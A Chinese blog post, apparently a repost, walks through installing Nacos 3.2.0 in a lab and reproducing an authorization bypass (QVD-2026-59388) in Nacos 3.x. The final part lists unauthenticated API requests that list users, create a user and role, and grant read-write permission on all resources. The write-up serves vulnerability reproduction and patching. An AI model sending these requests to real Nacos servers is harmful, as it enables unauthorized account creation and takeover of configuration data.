记一次nacos3.x的搭建和漏洞复现过程(超详细)

admin 2026-11-13 11:08:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

记一次nacos3.x的搭建和漏洞复现过程(超详细)

原创

xiaolong
xiaolong

淋烟雨漫江南

2026年11月11日 15:46
贵州

去阅读

这篇文章主要是记录搭建nacos和复现QVD-2026-59388最新权限绕过漏洞的过程

本次靶机采用Centos7+JDK17版本搭建

Cnetos7安装JDK17

sudo cat <<EOF > /etc/yum.repos.d/adoptium.repo[Adoptium]name=Adoptiumbaseurl=https://packages.adoptium.net/artifactory/rpm/centos/7/x86_64enabled=1gpgcheck=1gpgkey=https://packages.adoptium.net/artifactory/api/gpg/key/publicEOF
sudo rpm --import https://packages.adoptium.net/artifactory/api/gpg/key/public
sudo yum clean allsudo yum makecachesudo yum install temurin-17-jdk -y

在github上下载源码 这里用的是3.2.0版本

https://github.com/alibaba/nacos/releases/tag/3.2.0

下载完成之后使用tar进行解压

tar -zxvf nacos-server-3.2.0.tar.gz

关于nacos的目录结构

nacos/├── bin/          # 启动脚本├── conf/         # 配置文件├── target/       # 运行 jar├── logs/         # 日志├── plugins/      # 插件└── data/         # 数据

进入/nacos/bin目录

cd /nacos/binchmod +x ./*

需要保证bin目录下文件拥有可执行权限

在Nacos 3.x 默认开启控制台鉴权,启动时会要求配置三个参数

vim conf/application.properties //修改配置文件

nacos.core.auth.enabled=falsenacos.core.auth.plugin.nacos.token.secret.key=Base64密钥nacos.core.auth.server.identity.key=identityKeynacos.core.auth.server.identity.value=identityValue

默认为false不用修改

openssl rand -base64 48 //随机生成48位编码

注释的为官方自带的key懒得配置的师傅也可以使用默认的

定义 Key/Value(可以不配置)

启动nacos

cd ./binbash startup.sh -m standalone //如果报错的话换sh

启动完成之后查看日志是否启动成功

启动成功之后在查看端口号是否开发

在3.0之后控制台改为8080端口了所以只需要访问8080端口即可

配置密码之后登录即可

具体复现过程如下

漏洞描述

Nacos 3.x 把接口鉴权分成了多个作用域,但用户、角色、权限相关的管理接口没有正确归入 ADMIN_API 作用域,导致即使开启了 Admin/Console 鉴权,这些接口仍可能被未授权访问。

影响版本:Nacos 3.0.0 ~ 3.2.3

修复版本:Nacos 3.2.4

一、未授权访问

http://192.168.80.166:8848/nacos/v3/admin/cs/config/list?pageNo=1&pageSize=1

返回403说明接口存在鉴权

二、未授权读取用户列表

http://192.168.80.166:8848/nacos/v3/auth/user/list?pageNo=1&pageSize=10

三、未授权创建用户

http://192.168.80.166:8848/nacos/v3/auth/user //getusername=test&password=test //post

直接登录nacos会提示没有权限

四、未授权创建角色并绑定用户

http://192.168.80.166:8848/nacos/v3/auth/role //getcole=test&username=test //post

五、未授权添加读写权限

http://192.168.80.166:8848/nacos/v3/auth/permission //getrole=test&resource=*&action=rw //post

重新登录nacos拥有读写权限

结束。

评论:0   参与:  0